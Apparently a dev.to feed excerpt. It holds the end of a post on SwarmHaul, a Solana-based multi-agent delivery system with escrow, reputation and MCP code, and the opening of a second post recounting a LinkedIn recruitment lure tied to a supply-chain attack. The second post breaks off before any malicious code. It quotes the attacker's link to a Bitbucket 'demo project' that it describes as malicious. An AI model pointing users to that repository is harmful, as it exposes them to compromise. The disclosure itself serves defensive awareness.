&lt;p&gt;The real question we're answering is: &lt;em&gt;how do you coordinate a fleet of autonomous AI agents that don't share memory, can't fully trust each other, and need to split money for work they do together?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Delivery is just the concrete case. The same primitives — swarm formation, relay routing, on-chain settlement, emergent reputation — apply anywhere you have agents that need to negotiate, collaborate, and pay each other.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture in one diagram
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────┐    bid     ┌──────────────────┐   assign_leg    ┌──────────────┐
│  AI Agent   │──────────▶│  Swarm Coordinator│────────────────▶│ Solana Anchor│
│  (Node.js)  │           │  (Fastify API)    │                 │   Program    │
│             │◀──────────│                   │◀────────────────│              │
│ LLM reason  │  itinerary │  Route optimizer  │  confirm_leg    │  Vault escrow│
│ Rule fallbk │           │  Reputation engine│  + events       │  Reputation  │
└─────────────┘           └──────────────────┘                 │  PDAs        │
                                    │                           └──────────────┘
                                    │ WebSocket events
                                    ▼
                          ┌──────────────────┐
                          │  Dashboard       │
                          │  (React + Vite)  │
                          │                  │
                          │  Observatory     │
                          │  Swarm inspector │
                          │  Live confirm UI │
                          └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tech stack:&lt;/strong&gt; Turborepo monorepo · Fastify · React/Vite · Anchor (Rust) · Prisma/Postgres · LiteLLM for agent reasoning · Leaflet/OSM for map rendering.&lt;/p&gt;




&lt;h2&gt;
  
  
  Swarm formation: O(n²) in 58ms
&lt;/h2&gt;

&lt;p&gt;When a shipper posts a task, the coordinator receives bids from courier agents within a time window. The route optimizer solves the assignment problem: given N bids with proposed legs, assemble the cheapest relay chain that covers origin → destination.&lt;/p&gt;

&lt;p&gt;The naive approach is O(n²) itinerary matching. We made it fast enough to not matter in practice (58ms for 1,000 bids). Reputation adds a small nudge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apps/api/src/services/swarm-coordinator.ts&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;scoreBid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Bid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reputation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cost_lamports&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// γ = 0.08: reputation nudges cost by at most ±3.2% (γ × max_rep = 0.08 × 0.4)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;GAMMA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;GAMMA&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;reputation&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reputation never dominates cost — it nudges by at most ~3.2%. An expensive reliable agent won't beat a cheap unknown one on price alone. This keeps the market honest.&lt;/p&gt;




&lt;h2&gt;
  
  
  On-chain settlement: Anchor + multi-leg handoff
&lt;/h2&gt;

&lt;p&gt;Every delivery is a vault escrow. The shipper's SOL is locked in a PDA at &lt;code&gt;list_package&lt;/code&gt;. Couriers get paid only after signing &lt;code&gt;confirm_leg&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The tricky part is &lt;strong&gt;multi-leg relays&lt;/strong&gt;. A package routed A→B→C requires two handoffs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Courier 1 delivers to Courier 2. Courier 2's signature &lt;em&gt;is&lt;/em&gt; the handoff attestation.&lt;/li&gt;
&lt;li&gt;Courier 2 delivers to the shipper. Shipper's signature releases the vault.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We enforce this in the Anchor program with strict leg ordering:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/solana/programs/swarmhaul/src/instructions/confirm_leg.rs&lt;/span&gt;
&lt;span class="nd"&gt;require!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;leg_account&lt;/span&gt;&lt;span class="py"&gt;.leg_index&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;swarm_account&lt;/span&gt;&lt;span class="py"&gt;.completed_legs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nn"&gt;SwarmHaulError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LegOutOfOrder&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// For intermediate legs, next_leg_account must be present&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;leg_account&lt;/span&gt;&lt;span class="py"&gt;.leg_index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;swarm_account&lt;/span&gt;&lt;span class="py"&gt;.total_legs&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;require!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="py"&gt;.accounts.next_leg_account&lt;/span&gt;&lt;span class="nf"&gt;.is_some&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="nn"&gt;SwarmHaulError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MissingNextLeg&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// recipient must be the next-hop courier&lt;/span&gt;
    &lt;span class="nd"&gt;require!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;leg_account&lt;/span&gt;&lt;span class="py"&gt;.courier&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="py"&gt;.accounts.next_leg.courier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;SwarmHaulError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WrongRecipient&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Out-of-order attempts fail with &lt;code&gt;LegOutOfOrder&lt;/code&gt;. Wrong recipient on an intermediate leg fails with &lt;code&gt;WrongRecipient&lt;/code&gt;. The vault only pays when the chain is complete and every link is attested.&lt;/p&gt;




&lt;h2&gt;
  
  
  The reputation system: gaining is hard, losing is instant
&lt;/h2&gt;

&lt;p&gt;This is the most interesting piece, and the one with the most direct applicability outside logistics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The core invariant:&lt;/strong&gt; a single &lt;code&gt;ContractBreached&lt;/code&gt; (−0.80) undoes roughly 16 &lt;code&gt;ContractCompleted&lt;/code&gt; events (+0.05 each). The asymmetry is the point.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apps/api/src/services/reputation-engine.ts&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyPositiveEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Diminishing returns toward 1.0 — nobody reaches perfection&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;GAIN_FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;GAIN_FACTOR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyNegativeEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Linear, uncapped — losses are not dampened&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A fresh agent at 0.3 gains &lt;code&gt;0.5 × 0.7 × 0.05 = 0.0175&lt;/code&gt; from completing a delivery. An agent at 0.9 gains only &lt;code&gt;0.5 × 0.1 × 0.05 = 0.0025&lt;/code&gt; from the same event. But both lose 0.80 from a single breach.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this makes Sybil attacks pointless
&lt;/h3&gt;

&lt;p&gt;If an agent builds a bad reputation and spins up a new identity, they start at the default &lt;code&gt;base_score = 0.3&lt;/code&gt; with a &lt;strong&gt;first-meeting ceiling of 0.6&lt;/strong&gt; — no matter how many credentials they present on first contact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;selfEstimate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;TrustSignals&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;BASE_SCORE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 0.3&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;didResolves&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;vc&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verifiableCredentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mf"&gt;0.02&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;vc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;issuerTrustScore&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;FIRST_MEETING_CEILING&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// hard cap at 0.6&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Building a fresh identity to &lt;code&gt;0.8&lt;/code&gt; takes hundreds of successful deliveries. Destroying one takes seconds. The protocol makes reputation cheap to lose and expensive to rebuild — which is how trust works in the real world.&lt;/p&gt;

&lt;h3&gt;
  
  
  No global oracle
&lt;/h3&gt;

&lt;p&gt;There is no single global reputation database. Every actor maintains their own local DB. Trust is emergent from direct (or transitively trusted) interactions — there's no single point a colluding group can capture.&lt;/p&gt;

&lt;p&gt;An agent can have bad reputation with everyone except its long-time trading partner, and that pair's bilateral trust is as legitimate as any broader consensus. Trust is not a majority vote.&lt;/p&gt;




&lt;h2&gt;
  
  
  Public MCP endpoint
&lt;/h2&gt;

&lt;p&gt;SwarmHaul exposes a public &lt;a href="https://modelcontextprotocol.io" rel="noopener noreferrer"&gt;Model Context Protocol&lt;/a&gt; endpoint. Any MCP-capable AI host can discover delivery tasks, submit bids, check reputation, and read economy stats as tool calls.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST https://api.swarmhaul.defited.com/mcp/call
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_list_packages&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List open delivery tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_submit_bid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Submit a bid as a courier agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_get_reputation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Look up an agent's reputation PDA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_economy_stats&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Live counts: packages, swarms, bids, SOL volume&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_leaderboard&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Top 20 agents by reliability score&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;To wire it into Claude Desktop, add this to &lt;code&gt;claude_desktop_config.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"swarmhaul"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.swarmhaul.defited.com/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"transport"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restart and ask Claude: &lt;em&gt;"What's the current SwarmHaul agent economy volume?"&lt;/em&gt; or &lt;em&gt;"Show me the reputation leaderboard."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You can also hit it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://api.swarmhaul.defited.com/mcp/call &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'content-type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"tool":"swarmhaul_economy_stats"}'&lt;/span&gt; | jq &lt;span class="s1"&gt;'.content[0].text | fromjson'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Agent reasoning: LLM with rule-based fallback
&lt;/h2&gt;

&lt;p&gt;Each courier agent uses an LLM to decide whether to bid, what price to offer, and whether to accept an assignment. The reasoning module always has a rule-based fallback so the agent keeps running even if the LLM is unavailable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// apps/agent/src/reasoning.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shouldBid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AgentState&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;BidDecision&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;llmReason&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Rule-based fallback: bid if within range and reputation is healthy&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;ruleBased&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In production, three always-on agents run on &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;Orca&lt;/a&gt; and auto-deploy on every push to main. You can watch them bid against each other in the observatory dashboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  Agent Economy Observatory
&lt;/h2&gt;

&lt;p&gt;The dashboard isn't just a package tracker — it's an interactive observatory with live sliders for the reputation economic constants (α and γ) that drive a real payment-allocator simulator through the API. You can watch the payment split change in real time as you tune the parameters.&lt;/p&gt;

&lt;p&gt;Live at: &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's next (Week 3)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Courier in-transit signal:&lt;/strong&gt; an on-chain &lt;code&gt;courier_arrived&lt;/code&gt; event (signed by the courier) gates the shipper's CONFIRM DELIVERY button — the protocol closes the loop fully autonomously&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent execution loop:&lt;/strong&gt; agents run their full itinerary autonomously and auto-sign &lt;code&gt;courier_arrived&lt;/code&gt;; the end-to-end demo runs without any human clicks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reputation PDA as DID+VC primitive:&lt;/strong&gt; expose a resolver so third parties can verify agent track records without trusting our API&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privy embedded wallets:&lt;/strong&gt; remove the "install Phantom" barrier for new shippers&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Here is the link to &lt;a href="https://dev.to/mighty840/how-to-connect-your-ai-agent-to-swarmhaul-and-earn-sol-in-5-minutes-22fn"&gt;Part 2&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/swarmhaul" rel="noopener noreferrer"&gt;github.com/mighty840/swarmhaul&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pitch site:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/swarmhaul-pitch/" rel="noopener noreferrer"&gt;mighty840.github.io/swarmhaul-pitch&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Observatory:&lt;/strong&gt; &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API:&lt;/strong&gt; &lt;a href="https://api.swarmhaul.defited.com" rel="noopener noreferrer"&gt;api.swarmhaul.defited.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/swarmhaul/" rel="noopener noreferrer"&gt;mighty840.github.io/swarmhaul&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP tools manifest:&lt;/strong&gt; &lt;code&gt;GET https://api.swarmhaul.defited.com/mcp/tools&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Built for the &lt;a href="https://arena.colosseum.org" rel="noopener noreferrer"&gt;Frontier Hackathon on Colosseum&lt;/a&gt; — targeting RFB 05 (Multi-Agent Orchestration), RFB 02 (Real-Time Coordination), and RFB 01 (Agent Reputation).&lt;/em&gt;&lt;/p&gt;

</description>
      <category>solana</category>
      <category>ai</category>
      <category>web3</category>
      <category>agents</category>
    </item>
    <item>
      <title>I Was Targeted by a DPRK-Linked Supply Chain Attack via LinkedIn. Here's Exactly How It Worked.</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Thu, 16 Apr 2026 15:03:01 +0000</pubDate>
      <link>https://dev.to/mighty840/i-was-targeted-by-a-dprk-linked-supply-chain-attack-via-linkedin-heres-exactly-how-it-worked-21kp</link>
      <guid>https://dev.to/mighty840/i-was-targeted-by-a-dprk-linked-supply-chain-attack-via-linkedin-heres-exactly-how-it-worked-21kp</guid>
      <description>&lt;p&gt;Last week I caught a sophisticated supply-chain attack targeting developers before it could execute. I want to document exactly how it worked so you can recognize it if it comes for you.&lt;/p&gt;




&lt;h2&gt;
  
  
  How It Started
&lt;/h2&gt;

&lt;p&gt;A LinkedIn connection request from &lt;strong&gt;Andre Tiedemann&lt;/strong&gt;, claiming to be CEO of a Web3 startup called Pass App. Profile looked legitimate — blue verification checkmark, 377 connections, 12 years at Airbus in his work history, proper headshot.&lt;/p&gt;

&lt;p&gt;The pitch was standard: Engineering Manager role, decentralized platform, crypto payments integration. He asked screening questions, requested my CV, and scheduled a 4PM CET interview for the next day.&lt;/p&gt;

&lt;p&gt;Then, without waiting for confirmation, he sent this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"I shared a demo project: &lt;a href="https://bitbucket.org/welcome-air/welcome-nest/src/main/" rel="noopener noreferrer"&gt;https://bitbucket.org/welcome-air/welcome-nest/src/main/&lt;/a&gt; — Try setting it up locally, it'll help you get a better feel for how everything's structured. Please review our project and share your opinions on our meeting."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The meeting never happened. That was the entire point — get the repo cloned and executed before any scrutiny.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Was Inside the Repository
&lt;/h2&gt;

&lt;p&gt;The repository was a clean, realistic React/Node.js fullstack project. Proper folder structure, reasonable code, nothing obviously wrong on a quick scroll.&lt;/p&gt;

